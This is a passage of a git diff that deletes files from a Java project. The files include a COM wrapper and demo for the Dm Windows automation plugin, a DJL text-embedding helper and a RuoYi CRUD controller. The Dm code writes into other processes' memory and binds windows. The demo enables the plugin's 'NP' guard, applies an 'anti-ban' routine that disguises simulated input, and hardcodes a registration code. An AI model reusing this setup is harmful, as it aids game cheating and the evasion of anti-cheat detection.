- - public int getModuleSize(int hwnd, String moduleName) { - return Dispatch.call(dm, "GetModuleSize", hwnd, moduleName).getInt(); - } - - public int setEnv(int index, String name, String value) { - return Dispatch.call(dm, "SetEnv", index, name, value).getInt(); - } - - public int findPicSimMem(int x1, int y1, int x2, int y2, String picInfo, String deltaColor, int sim, int dir, int[] x, int[] y) { - Variant xVar = new Variant(0, true); - Variant yVar = new Variant(0, true); - int result = Dispatch.call(dm, "FindPicSimMem", x1, y1, x2, y2, picInfo, deltaColor, sim, dir, xVar, yVar).getInt(); - x[0] = xVar.getInt(); - y[0] = yVar.getInt(); - return result; - } - - public String enumIniSection(String fileName) { - return Dispatch.call(dm, "EnumIniSection", fileName).toString(); - } - - public String getMachineCodeNoMac() { - return Dispatch.call(dm, "GetMachineCodeNoMac").toString(); - } - - public int findPic(int x1, int y1, int x2, int y2, String picName, String deltaColor, double sim, int dir, int[] x, int[] y) { - Variant xVar = new Variant(0, true); - Variant yVar = new Variant(0, true); - int result = Dispatch.call(dm, "FindPic", x1, y1, x2, y2, picName, deltaColor, sim, dir, xVar, yVar).getInt(); - x[0] = xVar.getInt(); - y[0] = yVar.getInt(); - return result; - } - - public int faqCaptureFromFile(int x1, int y1, int x2, int y2, String fileName, int quality) { - return Dispatch.call(dm, "FaqCaptureFromFile", x1, y1, x2, y2, fileName, quality).getInt(); - } - - public int capturePng(int x1, int y1, int x2, int y2, String fileName) { - return Dispatch.call(dm, "CapturePng", x1, y1, x2, y2, fileName).getInt(); - } - - public String enumIniSectionPwd(String fileName, String pwd) { - return Dispatch.call(dm, "EnumIniSectionPwd", fileName, pwd).toString(); - } - - public String getDiskSerial(int index) { - return Dispatch.call(dm, "GetDiskSerial", index).toString(); - } - - public int moveR(int rx, int ry) { - return Dispatch.call(dm, "MoveR", rx, ry).getInt(); - } - - public int findWindow(String className, String titleName) { - return Dispatch.call(dm, "FindWindow", className, titleName).getInt(); - } - - public int deleteFolder(String folderName) { - return Dispatch.call(dm, "DeleteFolder", folderName).getInt(); - } - - public int lockInput(int locks) { - return Dispatch.call(dm, "LockInput", locks).getInt(); - } - - public int moveTo(int x, int y) { - return Dispatch.call(dm, "MoveTo", x, y).getInt(); - } - - public int readDataToBin(int hwnd, String addr, int length) { - return Dispatch.call(dm, "ReadDataToBin", hwnd, addr, length).getInt(); - } - - public int writeIni(String section, String key, String v, String fileName) { - return Dispatch.call(dm, "WriteIni", section, key, v, fileName).getInt(); - } - - public int downCpu(int tpe, int rate) { - return Dispatch.call(dm, "DownCpu", tpe, rate).getInt(); - } - - public int bindWindow(int hwnd, String display, String mouse, String keypad, int mode) { - return Dispatch.call(dm, "BindWindow", hwnd, display, mouse, keypad, mode).getInt(); - } - - public int getWordResultCount(String str) { - return Dispatch.call(dm, "GetWordResultCount", str).getInt(); - } - - public int writeString(int hwnd, String addr, int tpe, String v) { - return Dispatch.call(dm, "WriteString", hwnd, addr, tpe, v).getInt(); - } - - public int unBindWindow() { - return Dispatch.call(dm, "UnBindWindow").getInt(); - } - - public String enumWindow(int parent, String title, String className, int filter) { - return Dispatch.call(dm, "EnumWindow", parent, title, className, filter).toString(); - } - - public int clearDict(int index) { - return Dispatch.call(dm, "ClearDict", index).getInt(); - } - - public int setParam64ToPointer() { - return Dispatch.call(dm, "SetParam64ToPointer").getInt(); - } - - public int getForegroundWindow() { - return Dispatch.call(dm, "GetForegroundWindow").getInt(); - } - - public int rightUp() { - return Dispatch.call(dm, "RightUp").getInt(); - } - - public int findWindowEx(int parent, String className, String titleName) { - return Dispatch.call(dm, "FindWindowEx", parent, className, titleName).getInt(); - } - - public String selectDirectory() { - return Dispatch.call(dm, "SelectDirectory").toString(); - } - - public int setUAC(int uac) { - return Dispatch.call(dm, "SetUAC", uac).getInt(); - } - - public int getDPI() { - return Dispatch.call(dm, "GetDPI").getInt(); - } - - public int getForegroundFocus() { - return Dispatch.call(dm, "GetForegroundFocus").getInt(); - } - - public int cmpColor(int x, int y, String color, double sim) { - return Dispatch.call(dm, "CmpColor", x, y, color, sim).getInt(); - } - - public String readIniPwd(String section, String key, String fileName, String pwd) { - return Dispatch.call(dm, "ReadIniPwd", section, key, fileName, pwd).toString(); - } - - public String findStrFastEx(int x1, int y1, int x2, int y2, String str, String color, double sim) { - return Dispatch.call(dm, "FindStrFastEx", x1, y1, x2, y2, str, color, sim).toString(); - } - - public int terminateProcessTree(int pid) { - return Dispatch.call(dm, "TerminateProcessTree", pid).getInt(); - } - - public int foobarDrawPic(int hwnd, int x, int y, String pic, String transColor) { - return Dispatch.call(dm, "FoobarDrawPic", hwnd, x, y, pic, transColor).getInt(); - } - - public int enableGetColorByCapture(int en) { - return Dispatch.call(dm, "EnableGetColorByCapture", en).getInt(); - } - - public String getDiskModel(int index) { - return Dispatch.call(dm, "GetDiskModel", index).toString(); - } - - public int setWordGap(int wordGap) { - return Dispatch.call(dm, "SetWordGap", wordGap).getInt(); - } - - public int foobarSetTrans(int hwnd, int trans, String color, double sim) { - return Dispatch.call(dm, "FoobarSetTrans", hwnd, trans, color, sim).getInt(); - } - - public String aiFindPicEx(int x1, int y1, int x2, int y2, String picName, double sim, int dir) { - return Dispatch.call(dm, "AiFindPicEx", x1, y1, x2, y2, picName, sim, dir).toString(); - } - - public String enumWindowSuper(String spec1, int flag1, int type1, String spec2, int flag2, int type2, int sort) { - return Dispatch.call(dm, "EnumWindowSuper", spec1, flag1, type1, spec2, flag2, type2, sort).toString(); - } - - public String getCommandLine(int hwnd) { - return Dispatch.call(dm, "GetCommandLine", hwnd).toString(); - } - - public int aiYoloDetectObjectsToFile(int x1, int y1, int x2, int y2, double prob, double iou, String fileName, int mode) { - return Dispatch.call(dm, "AiYoloDetectObjectsToFile", x1, y1, x2, y2, prob, iou, fileName, mode).getInt(); - } - - public int downloadFile(String url, String saveFile, int timeout) { - return Dispatch.call(dm, "DownloadFile", url, saveFile, timeout).getInt(); - } - - public int foobarLock(int hwnd) { - return Dispatch.call(dm, "FoobarLock", hwnd).getInt(); - } - - public int getWindowState(int hwnd, int flag) { - return Dispatch.call(dm, "GetWindowState", hwnd, flag).getInt(); - } - - public int writeStringAddr(int hwnd, long addr, int tpe, String v) { - return Dispatch.call(dm, "WriteStringAddr", hwnd, addr, tpe, v).getInt(); - } - - public int moveWindow(int hwnd, int x, int y) { - return Dispatch.call(dm, "MoveWindow", hwnd, x, y).getInt(); - } - - public int leftUp() { - return Dispatch.call(dm, "LeftUp").getInt(); - } - - public String findPicEx(int x1, int y1, int x2, int y2, String picName, String deltaColor, double sim, int dir) { - return Dispatch.call(dm, "FindPicEx", x1, y1, x2, y2, picName, deltaColor, sim, dir).toString(); - } - - public long readInt(int hwnd, String addr, int tpe) { - return Dispatch.call(dm, "ReadInt", hwnd, addr, tpe).getLong(); - } - - public int writeDouble(int hwnd, String addr, double v) { - return Dispatch.call(dm, "WriteDouble", hwnd, addr, v).getInt(); - } - - public int writeIntAddr(int hwnd, String addr, int tpe, long v) { - return Dispatch.call(dm, "WriteIntAddr", hwnd, addr, tpe, v).getInt(); - } - - public ActiveXComponent getDm() { - return dm; - } -} diff --git a/luqj-damo/src/main/java/com/luqj/dm/test/JacobDemo.java b/luqj-damo/src/main/java/com/luqj/dm/test/JacobDemo.java deleted file mode 100644 index 7d8d79e..0000000 --- a/luqj-damo/src/main/java/com/luqj/dm/test/JacobDemo.java +++ /dev/null @@ -1,329 +0,0 @@ -package com.luqj.dm.test; - -import com.jacob.activeX.ActiveXComponent; -import com.jacob.com.Dispatch; -import com.jacob.com.Variant; -import com.luqj.damo.obj.DmSoft; -import com.sun.jna.*; - -import java.io.IOException; -import java.nio.file.Files; -import java.nio.file.Paths; -import javax.imageio.ImageIO; -import java.awt.image.BufferedImage; -import java.io.*; - -/** - * 1. jdk要用x86-32位 - * 2. -Djava.library.path=C:\java_ws\etl-tool\etl-tool-jacob\src\main\libs - * 3.管理员权限运行 - */ -public class JacobDemo { - static final long MAX_SIZE = 10 * 1024 * 1024; // 10MB - static Memory mem = new Memory(MAX_SIZE); - - // 定义接口映射 DLL - public interface DmReg extends Library { - // 对应 DLL 方法,两个参数 - int SetDllPathA(String path, int is64); - } - public static void main(String[] args) throws IOException { - // 指定 DLL 搜索路径 - NativeLibrary.addSearchPath("DmReg", "D:\\myprojects\\myEpusdt\\luqj-damo\\libs"); - DmReg INSTANCE = Native.load("DmReg", DmReg.class); - // DLL 路径,比如 C:\DmSoft - String dllPath = "C:\\Users\\Administrator\\Desktop\\dm\\dm.dll"; - - // 调用 SetDllPathA - int result = INSTANCE.SetDllPathA(dllPath, 0); - - if (result == 1) { - System.out.println("设置成功"); - } else { - System.out.println("设置失败,返回值:" + result); - } - DmSoft dmSoft = new DmSoft(); - System.out.println(dmSoft.ver()); - - // 1. 读取 JPG - BufferedImage image = png2bmp("D:/myprojects/myEpusdt/luqj-damo/src/main/resources/1.png"); - // 2. 写入内存 BMP - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - ImageIO.write(image, "BMP", baos); - byte[] bmpBytes = baos.toByteArray(); - baos.close(); - mem.write(0, bmpBytes, 0, bmpBytes.length); - String param = "mem:" + Pointer.nativeValue(mem) + "," + bmpBytes.length; - dmSoft.setDisplayInput(param); - dmSoft.setPath("D:\\myprojects\\myEpusdt\\luqj-damo\\src\\main\\resources"); - int[] x = new int[1]; - int[] y = new int[1]; - int ret = dmSoft.findPic(0, 0, 703, 319, "2.bmp", "000000", 0.9, 0, x, y); - System.out.println("返回值: " + ret); - System.out.println("X: " + x[0]); - System.out.println("Y: " + y[0]); - } - public static void main1(String[] args) throws IOException { - // 指定 DLL 搜索路径 - NativeLibrary.addSearchPath("DmReg", "D:\\myprojects\\myEpusdt\\luqj-damo\\libs"); - DmReg INSTANCE = Native.load("DmReg", DmReg.class); - // DLL 路径,比如 C:\DmSoft - String dllPath = "C:\\Users\\Administrator\\Desktop\\dm\\dm.dll"; - - // 调用 SetDllPathA - int result = INSTANCE.SetDllPathA(dllPath, 0); - - if (result == 1) { - System.out.println("设置成功"); - } else { - System.out.println("设置失败,返回值:" + result); - } - // 创建大漠对象 - ActiveXComponent dm = new ActiveXComponent("dm.dmsoft"); - // 获取版本 - String ver = dm.invoke("Ver").toString(); - System.out.println(ver); - String count = dm.invoke("GetDmCount").toString(); - System.out.println(count); - dm.invoke("SetParam64ToPointer"); - try { - String methodName = "Reg"; - - // 两个 String 参数 - String str1 = "lu7213ab8fc97ec9e0277306ca66f8e6521ff6"; - String str2 = "lu7213"; - // 调用方法,使用 Object[] 或 Variant[] - Variant variant = Dispatch.call(dm, methodName, str1, str2); - // 输出结果 - System.out.println("COM 方法返回值: " + variant.toString()); - - } catch (Exception e) { - e.printStackTrace(); - } - dmAntiBan(dm); - openNpProtection(dm); - try { - String methodName = "CapturePng"; - // 调用方法,使用 Object[] 或 Variant[] - Variant variant = Dispatch.call(dm, methodName, 0, 0, 1024, 768, "C:/java_dm.png"); - // 输出结果 - System.out.println("COM 方法返回值: " + variant.toString()); - - } catch (Exception e) { - e.printStackTrace(); - } - - //983 1058 -// try { -// String methodName = "MoveToEx"; -// // 调用方法,使用 Object[] 或 Variant[] -// Variant variant = Dispatch.call(dm, methodName, 983, 1058, 2, 3); -// // 输出结果 -// System.out.println("MoveToEx: " + variant.toString()); -// dm.invoke("Delay", 3000); -// String outResult = dm.invoke("LeftClick").toString(); -// System.out.println("LeftClick: " + outResult); -// } catch (Exception e) { -// e.printStackTrace(); -// } - dm.invoke("SetPath", "D:\\myprojects\\myEpusdt\\luqj-damo\\src\\main\\resources"); - dm.invoke("EnableShareDict", 0); - try { - String methodName = "SetDict"; - // 调用方法,使用 Object[] 或 Variant[] - Variant variant = Dispatch.call(dm, methodName, 0, "test1.txt"); - // 输出结果 - System.out.println("COM 方法返回值: " + variant.toString()); - } catch (Exception e) { - e.printStackTrace(); - } - - count = dm.invoke("UseDict", 0).toString(); - System.out.println("UseDict result = " + count); - - count = dm.invoke("GetDictCount", 0).toString(); - System.out.println("GetDictCount = " + count); - - System.out.println("SetDisplayInput = " + dm.invoke("SetDisplayInput", "pic:D:/myprojects/myEpusdt/luqj-damo/src/main/resources/1.bmp")); - - try { - // true 表示 byRef - Variant x = new Variant(0, true); - Variant y = new Variant(0, true); - String methodName = "FindPic"; - // 调用方法,使用 Object[] 或 Variant[] - Variant variant = Dispatch.call(dm, methodName, 0, 0, 703, 319, "2.bmp", "000000", 0.9, 0, x, y); - // 输出结果 - System.out.println("COM 方法返回值: " + variant.toString()); - - } catch (Exception e) { - e.printStackTrace(); - } - // 写出BMP图片 - Boolean resultSw = png2bmp("D:/myprojects/myEpusdt/luqj-damo/src/main/resources/1.png","D:/myprojects/myEpusdt/luqj-damo/src/main/resources/11.bmp"); - - System.out.println("resultSw="+ resultSw); - - System.out.println("SetDisplayInput = " + dm.invoke("SetDisplayInput", "pic:D:/myprojects/myEpusdt/luqj-damo/src/main/resources/11.bmp")); - - try { - // 调用方法 - Variant variant = Dispatch.call(dm, "FindPicEx", 0, 0, 733, 597, "2.bmp", "000000", 0.9, 0); - // 输出结果 - System.out.println("COM 方法返回值: " + variant.toString()); - - } catch (Exception e) { - e.printStackTrace(); - } - dm.invoke("FreePic", "1.bmp"); - - byte[] newBytes = Files.readAllBytes(Paths.get("D:/myprojects/myEpusdt/luqj-damo/src/main/resources/1.bmp")); - mem.write(0, newBytes, 0, newBytes.length); - String param = "mem:" + Pointer.nativeValue(mem) + "," + newBytes.length; - System.out.println("SetDisplayInput = " + dm.invoke("SetDisplayInput", param)); - - try { - // 调用方法 - Variant variant = Dispatch.call(dm, "FindPicEx", 0, 0, 703, 319, "2.bmp", "000000", 0.9, 0); - // 输出结果 - System.out.println("COM 方法返回值: " + variant.toString()); - - } catch (Exception e) { - e.printStackTrace(); - } - - - // 1. 读取 JPG - BufferedImage image = png2bmp("D:/myprojects/myEpusdt/luqj-damo/src/main/resources/1.png"); - // 2. 写入内存 BMP - ByteArrayOutputStream baos = new ByteArrayOutputStream(); - ImageIO.write(image, "BMP", baos); - byte[] bmpBytes = baos.toByteArray(); - baos.close(); - mem.write(0, bmpBytes, 0, bmpBytes.length); - param = "mem:" + Pointer.nativeValue(mem) + "," + bmpBytes.length; - System.out.println("SetDisplayInput = " + dm.invoke("SetDisplayInput", param)); - - try { - // 调用方法 - Variant variant = Dispatch.call(dm, "FindPicEx", 0, 0, 733, 597, "2.bmp", "000000", 0.9, 0); - // 输出结果 - System.out.println("COM 方法返回值: " + variant.toString()); - - } catch (Exception e) { - e.printStackTrace(); - } - - mem.close(); // ❌ 大漠还在用 - } - /** - * 开启 NP 保护盾 - * - * @param dm 大漠插件 ActiveXComponent 对象 - * @return 成功返回 true,失败返回 false - */ - public static boolean openNpProtection(ActiveXComponent dm) { - try { - // 调用大漠插件 DmGuard 方法,第一个参数 1 表示开启,第二个参数 "np" - int dmRet = Dispatch.call(dm, "DmGuard", 1, "np").getInt(); - - if (dmRet != 1) { - System.out.println("开启保护盾失败: " + dmRet); - return false; - } - } catch (Exception e) { - e.printStackTrace(); - return false; - } - - return true; - } - /** - * 大漠防封设置 - */ - public static void dmAntiBan(ActiveXComponent dm) { - Dispatch.call(dm, "SetKeypadDelay", "dx", 130); - Dispatch.call(dm, "SetMouseDelay", "dx", 130); - - Dispatch.call(dm, "EnableRealMouse", 1, 60, 200); - Dispatch.call(dm, "EnableRealKeypad", 1); - - Dispatch.call(dm, "EnableKeypadSync", 1, 200); - Dispatch.call(dm, "EnableMouseSync", 1, 200); - - Dispatch.call(dm, "EnableMouseMsg", 0); - Dispatch.call(dm, "EnableKeypadMsg", 0); - } - public static BufferedImage png2bmp(String inputfile) throws IOException { - File input = new File(inputfile); - - BufferedImage image = ImageIO.read(input); - - // 如果 PNG 带透明通道,BMP 不支持,需要转换为 RGB - BufferedImage rgbImage = new BufferedImage( - image.getWidth(), - image.getHeight(), - BufferedImage.TYPE_INT_RGB - ); - rgbImage.getGraphics().drawImage(image, 0, 0, null); - return rgbImage; - } - public static boolean png2bmp(String inputfile,String outfile) throws IOException { - File input = new File(inputfile); - File output = new File(outfile); - - BufferedImage image = ImageIO.read(input); - - // 如果 PNG 带透明通道,BMP 不支持,需要转换为 RGB - BufferedImage rgbImage = new BufferedImage( - image.getWidth(), - image.getHeight(), - BufferedImage.TYPE_INT_RGB - ); - rgbImage.getGraphics().drawImage(image, 0, 0, null); - return ImageIO.write(rgbImage, "bmp", output); - } - public static void testExcel(String[] args) { - //System.setProperty("java.library.path", "C:\\java_ws\\etl-tool\\etl-tool-jacob\\src\\main\\libs"); - // 启动 Excel - ActiveXComponent excel = new ActiveXComponent("Excel.Application"); - - try { - // 显示 Excel 窗口 - excel.setProperty("Visible", new Variant(true)); - - // 获取 Workbooks 对象 - Dispatch workbooks = excel.getProperty("Workbooks").toDispatch(); - - // 新建一个工作簿 - Dispatch workbook = Dispatch.call(workbooks, "Add").toDispatch(); - - // 获取活动工作表 - Dispatch sheet = Dispatch.get(workbook, "ActiveSheet").toDispatch(); - - // 写入单元格 A1 - Dispatch cell = Dispatch.invoke(sheet, "Cells", Dispatch.Get, - new Object[]{1, 1}, new int[1]).toDispatch(); - Dispatch.put(cell, "Value", "Hello JACOB"); - - // 写入单元格 B2 - Dispatch.put(Dispatch.invoke(sheet, "Cells", Dispatch.Get, - new Object[]{2, 2}, new int[1]).toDispatch(), "Value", "自动化测试"); - - // 保存工作簿 - Dispatch.call(workbook, "SaveAs", "C:\\Users\\armloop\\Desktop\\JacobDemo.xlsx"); - - // 关闭工作簿,不保存更改 - Dispatch.call(workbook, "Close", false); - - } catch (Exception e) { - e.printStackTrace(); - } finally { - // 退出 Excel - excel.invoke("Quit"); - } - - System.out.println("Excel 操作完成!"); - - } -} diff --git a/luqj-damo/src/main/resources/1.bmp b/luqj-damo/src/main/resources/1.bmp deleted file mode 100644 index 14e08bf..0000000 Binary files a/luqj-damo/src/main/resources/1.bmp and /dev/null differ diff --git a/luqj-damo/src/main/resources/1.png b/luqj-damo/src/main/resources/1.png deleted file mode 100644 index e03dd78..0000000 Binary files a/luqj-damo/src/main/resources/1.png and /dev/null differ diff --git a/luqj-damo/src/main/resources/11.bmp b/luqj-damo/src/main/resources/11.bmp deleted file mode 100644 index ad8acb9..0000000 Binary files a/luqj-damo/src/main/resources/11.bmp and /dev/null differ diff --git a/luqj-damo/src/main/resources/2.bmp b/luqj-damo/src/main/resources/2.bmp deleted file mode 100644 index 3aa4c39..0000000 Binary files a/luqj-damo/src/main/resources/2.bmp and /dev/null differ diff --git a/luqj-damo/src/main/resources/test1.txt b/luqj-damo/src/main/resources/test1.txt deleted file mode 100644 index 6dfc5ec..0000000 --- a/luqj-damo/src/main/resources/test1.txt +++ /dev/null @@ -1 +0,0 @@ -2411025E5A6D4A290522A474AA927E12004000020051A9351AA0544AFF522A2544F92140200$µÇÈë$0.0.122$12 diff --git a/luqj-djl/pom.xml b/luqj-djl/pom.xml deleted file mode 100644 index 46a5655..0000000 --- a/luqj-djl/pom.xml +++ /dev/null @@ -1,292 +0,0 @@ - - 4.0.0 - - com.ruoyi - ruoyi - 3.4.0 - - luqj-djl - 3.4.0 - jar - - luqj-djl - http://maven.apache.org - - - UTF-8 - 0.34.0 - 1.1.0 - 1.5.11 - - macosx-arm64 - linux-x86_64 - linux-arm64 - windows-x86_64 - - - win-x86_64 - linux-x86_64 - linux-aarch64 - osx-aarch64 - - - - - ai.djl - bom - ${djl.version} - pom - import - - - cn.smartjavaai - bom - ${smartjavaai.version} - pom - - import - - - com.microsoft.onnxruntime - onnxruntime - 1.16.3 - - - - - - - cn.smartjavaai - ocr - - - org.apache.poi - poi - - - - - - - ai.djl.pytorch - pytorch-jni - 2.7.1-0.34.0 - runtime - - - - - - org.bytedeco - javacpp - ${javacv.version} - ${javacv.platform.windows-x86_64} - - - org.bytedeco - ffmpeg - 7.1-1.5.11 - ${javacv.platform.windows-x86_64} - - - - org.bytedeco - openblas - 0.3.26-1.5.10 - ${javacv.platform.windows-x86_64} - - - - org.bytedeco - opencv - 4.9.0-1.5.10 - ${javacv.platform.windows-x86_64} - - - - ai.djl.pytorch - pytorch-native-cpu - ${djl.platform.windows-x86_64} - 2.7.1 - runtime - - - - - - - org.bytedeco - javacpp - ${javacv.version} - ${javacv.platform.linux-x86_64} - - - org.bytedeco - ffmpeg - 7.1-1.5.11 - ${javacv.platform.linux-x86_64} - - - - org.bytedeco - openblas - 0.3.26-1.5.10 - ${javacv.platform.linux-x86_64} - - - - org.bytedeco - opencv - 4.9.0-1.5.10 - ${javacv.platform.linux-x86_64} - - - - ai.djl.pytorch - pytorch-native-cpu - ${djl.platform.linux-x86_64} - 2.7.1 - runtime - - - - - org.bytedeco - javacpp - ${javacv.version} - ${javacv.platform.linux-arm64} - - - org.bytedeco - ffmpeg - 7.1-1.5.11 - ${javacv.platform.linux-arm64} - - - - org.bytedeco - openblas - 0.3.26-1.5.10 - ${javacv.platform.linux-arm64} - - - - org.bytedeco - opencv - 4.9.0-1.5.10 - ${javacv.platform.linux-arm64} - - - - ai.djl.pytorch - pytorch-native-cpu - ${djl.platform.linux-aarch64} - 2.7.1 - runtime - - - - - - org.bytedeco - javacpp - ${javacv.version} - ${javacv.platform.macosx-arm64} - - - org.bytedeco - ffmpeg - 7.1-1.5.11 - ${javacv.platform.macosx-arm64} - - - - org.bytedeco - openblas - 0.3.26-1.5.10 - ${javacv.platform.macosx-arm64} - - - - org.bytedeco - opencv - 4.9.0-1.5.10 - ${javacv.platform.macosx-arm64} - - - - ai.djl.pytorch - pytorch-native-cpu - ${djl.platform.osx-aarch64} - 2.7.1 - runtime - - - ai.djl - api - 0.34.0 - - - - - ai.djl.pytorch - pytorch-engine - 0.34.0 - - - - ai.djl - api - - - ai.djl - basicdataset - - - ai.djl - model-zoo - - - ai.djl.timeseries - timeseries - - - ai.djl.huggingface - tokenizers - - - ai.djl.audio - audio - - - - ai.djl.mxnet - mxnet-model-zoo - - - - ai.djl.pytorch - pytorch-model-zoo - - - - ai.djl.tensorflow - tensorflow-model-zoo - - - - ai.djl.onnxruntime - onnxruntime-engine - - - com.hankcs - hanlp - portable-1.8.1 - - - org.springframework - spring-context - - - diff --git a/luqj-djl/src/main/java/com/luqj/djl/init/DjlInit.java b/luqj-djl/src/main/java/com/luqj/djl/init/DjlInit.java deleted file mode 100644 index c998c1d..0000000 --- a/luqj-djl/src/main/java/com/luqj/djl/init/DjlInit.java +++ /dev/null @@ -1,21 +0,0 @@ -package com.luqj.djl.init; - -import com.luqj.djl.utils.EmbeddingModelSingleton; -import org.springframework.beans.factory.annotation.Value; -import org.springframework.stereotype.Component; - -import javax.annotation.PostConstruct; -import java.util.Arrays; - -@Component -public class DjlInit { - @Value("${simcse.path:}") - private String simcsePath; - @PostConstruct - private void init() throws Exception { -// umsVideoService.deleteRecommentByQuery("cn"); -// EmbeddingModelSingleton.getCriteria(simcsePath); -// float[] queryVector = EmbeddingModelSingleton.embed("测试用户"); -// System.out.println(Arrays.toString(queryVector)); - } -} diff --git a/luqj-djl/src/main/java/com/luqj/djl/utils/EmbeddingModelSingleton.java b/luqj-djl/src/main/java/com/luqj/djl/utils/EmbeddingModelSingleton.java deleted file mode 100644 index 7056750..0000000 --- a/luqj-djl/src/main/java/com/luqj/djl/utils/EmbeddingModelSingleton.java +++ /dev/null @@ -1,71 +0,0 @@ -package com.luqj.djl.utils; - -import ai.djl.Device; -import ai.djl.huggingface.translator.TextEmbeddingTranslatorFactory; -import ai.djl.inference.Predictor; -import ai.djl.repository.zoo.Criteria; -import ai.djl.repository.zoo.ZooModel; -import ai.djl.training.util.ProgressBar; -import lombok.extern.slf4j.Slf4j; - -import java.nio.file.Paths; - -@Slf4j -public class EmbeddingModelSingleton { - - private static volatile Criteria criteriaInstance; - private static volatile ZooModel model; - - private EmbeddingModelSingleton() { - // 私有构造函数,防止外部实例化 - } - - public static float[] embed(String text) { - try { - try (Predictor predictor = model.newPredictor()) { - return predictor.predict(text); - } - } catch (Exception e) { - log.error(e.getMessage()); - throw new RuntimeException(e); - } - } - - public static double cosine(float[] a, float[] b) { - double dot = 0, na = 0, nb = 0; - for (int i = 0; i < a.length; i++) { - dot += a[i] * b[i]; - na += a[i] * a[i]; - nb += b[i] * b[i]; - } - return dot / (Math.sqrt(na) * Math.sqrt(nb) + 1e-8); - } - - /** - * 获取 Criteria 单例 - */ - public static Criteria getCriteria(String path) { - if (criteriaInstance == null) { - synchronized (EmbeddingModelSingleton.class) { - if (criteriaInstance == null) { - criteriaInstance = Criteria.builder() - .setTypes(String.class, float[].class) - .optModelPath(Paths.get(path)) -// .optModelUrls("djl://ai.djl.huggingface.pytorch/princeton-nlp/unsup-simcse-roberta-base") - .optEngine("PyTorch") - .optDevice(Device.cpu()) - .optTranslatorFactory(new TextEmbeddingTranslatorFactory()) - .optModelName("sup-simcse-bert-base-uncased.pt") - .optProgress(new ProgressBar()) - .build(); - try { - model = criteriaInstance.loadModel(); - } catch (Exception e) { - throw new RuntimeException(e); - } - } - } - } - return criteriaInstance; - } -} diff --git a/luqj-ec/pom.xml b/luqj-ec/pom.xml deleted file mode 100644 index 3b3b72e..0000000 --- a/luqj-ec/pom.xml +++ /dev/null @@ -1,41 +0,0 @@ - - 4.0.0 - - com.ruoyi - ruoyi - 3.4.0 - - - luqj-ec - jar - - luqj-ec - http://maven.apache.org - - - UTF-8 - - - - - com.ruoyi - ruoyi-common - - - com.ruoyi - luqj-javacv - 3.4.0 - - - com.baomidou - mybatis-plus-extension - 3.4.0 - - - com.ruoyi - luqj-common - 3.4.0 - - - diff --git a/luqj-ec/src/main/java/com/luqj/ec/controller/EcCommandResultController.java b/luqj-ec/src/main/java/com/luqj/ec/controller/EcCommandResultController.java deleted file mode 100644 index 38b0618..0000000 --- a/luqj-ec/src/main/java/com/luqj/ec/controller/EcCommandResultController.java +++ /dev/null @@ -1,118 +0,0 @@ -package com.luqj.ec.controller; -import com.ruoyi.common.select.Ids; -import com.ruoyi.common.select.SelectItem; -import java.util.List; -import org.springframework.security.access.prepost.PreAuthorize; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.PostMapping; -import org.springframework.web.bind.annotation.PutMapping; -import org.springframework.web.bind.annotation.DeleteMapping; -import org.springframework.web.bind.annotation.PathVariable; -import org.springframework.web.bind.annotation.RequestBody; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; -import com.ruoyi.common.annotation.Log; -import com.ruoyi.common.core.controller.BaseController; -import com.ruoyi.common.core.domain.AjaxResult; -import com.ruoyi.common.enums.BusinessType; -import com.luqj.ec.domain.EcCommandResult; -import com.luqj.ec.domain.EcCommandResultPlus; -import com.luqj.ec.service.IEcCommandResultService; -import com.ruoyi.common.utils.poi.ExcelUtil; -import com.ruoyi.common.core.page.TableDataInfo; - -/** - * 指令执行结果(客户端回传)Controller - * - * @author luqj - * @date 2026-02-27 - */ -@RestController -@RequestMapping("/ec/ec-command-result") -public class EcCommandResultController extends BaseController -{ - @Autowired - private IEcCommandResultService ecCommandResultService; - @PreAuthorize("@ss.hasPermi('ec:ec-command-result:getByIds')") - @PostMapping("/getByIds") - public AjaxResult getByIds(@RequestBody Ids ids) - { - List list = ecCommandResultService.getByIds(ids.getLongIds(),EcCommandResultPlus::getErrorMsg,EcCommandResultPlus::getId); - return AjaxResult.success(list); - } - @PreAuthorize("@ss.hasPermi('ec:ec-command-result:select')") - @GetMapping("/select") - public AjaxResult select(String keyword) - { - List list = ecCommandResultService.select(keyword); - return AjaxResult.success(list); - } - /** - * 查询指令执行结果(客户端回传)列表 - */ - @PreAuthorize("@ss.hasPermi('ec:ec-command-result:list')") - @GetMapping("/list") - public TableDataInfo list(EcCommandResult ecCommandResult) - { - startPage(); - List list = ecCommandResultService.selectEcCommandResultList(ecCommandResult); - return getDataTable(list); - } - - /** - * 导出指令执行结果(客户端回传)列表 - */ - @PreAuthorize("@ss.hasPermi('ec:ec-command-result:export')") - @Log(title = "指令执行结果(客户端回传)", businessType = BusinessType.EXPORT) - @GetMapping("/export") - public AjaxResult export(EcCommandResult ecCommandResult) - { - List list = ecCommandResultService.selectEcCommandResultList(ecCommandResult); - ExcelUtil util = new ExcelUtil(EcCommandResult.class); - return util.exportExcel(list, "ec-command-result"); - } - - /** - * 获取指令执行结果(客户端回传)详细信息 - */ - @PreAuthorize("@ss.hasPermi('ec:ec-command-result:query')") - @GetMapping(value = "/{id}") - public AjaxResult getInfo(@PathVariable("id") Long id) - { - return AjaxResult.success(ecCommandResultService.selectEcCommandResultById(id)); - } - - /** - * 新增指令执行结果(客户端回传) - */ - @PreAuthorize("@ss.hasPermi('ec:ec-command-result:add')") - @Log(title = "指令执行结果(客户端回传)", businessType = BusinessType.INSERT) - @PostMapping - public AjaxResult add(@RequestBody EcCommandResult ecCommandResult) - { - return toAjax(ecCommandResultService.insertEcCommandResult(ecCommandResult)); - } - - /** - * 修改指令执行结果(客户端回传) - */ - @PreAuthorize("@ss.hasPermi('ec:ec-command-result:edit')") - @Log(title = "指令执行结果(客户端回传)", businessType = BusinessType.UPDATE) - @PutMapping - public AjaxResult edit(@RequestBody EcCommandResult ecCommandResult) - { - return toAjax(ecCommandResultService.updateEcCommandResult(ecCommandResult)); - } - - /** - * 删除指令执行结果(客户端回传) - */ - @PreAuthorize("@ss.hasPermi('ec:ec-command-result:remove')") - @Log(title = "指令执行结果(客户端回传)", businessType = BusinessType.DELETE) - @DeleteMapping("/{ids}") - public AjaxResult remove(@PathVariable Long[] ids) - { - return toAjax(ecCommandResultService.deleteEcCommandResultByIds(ids)); - } -} diff --git 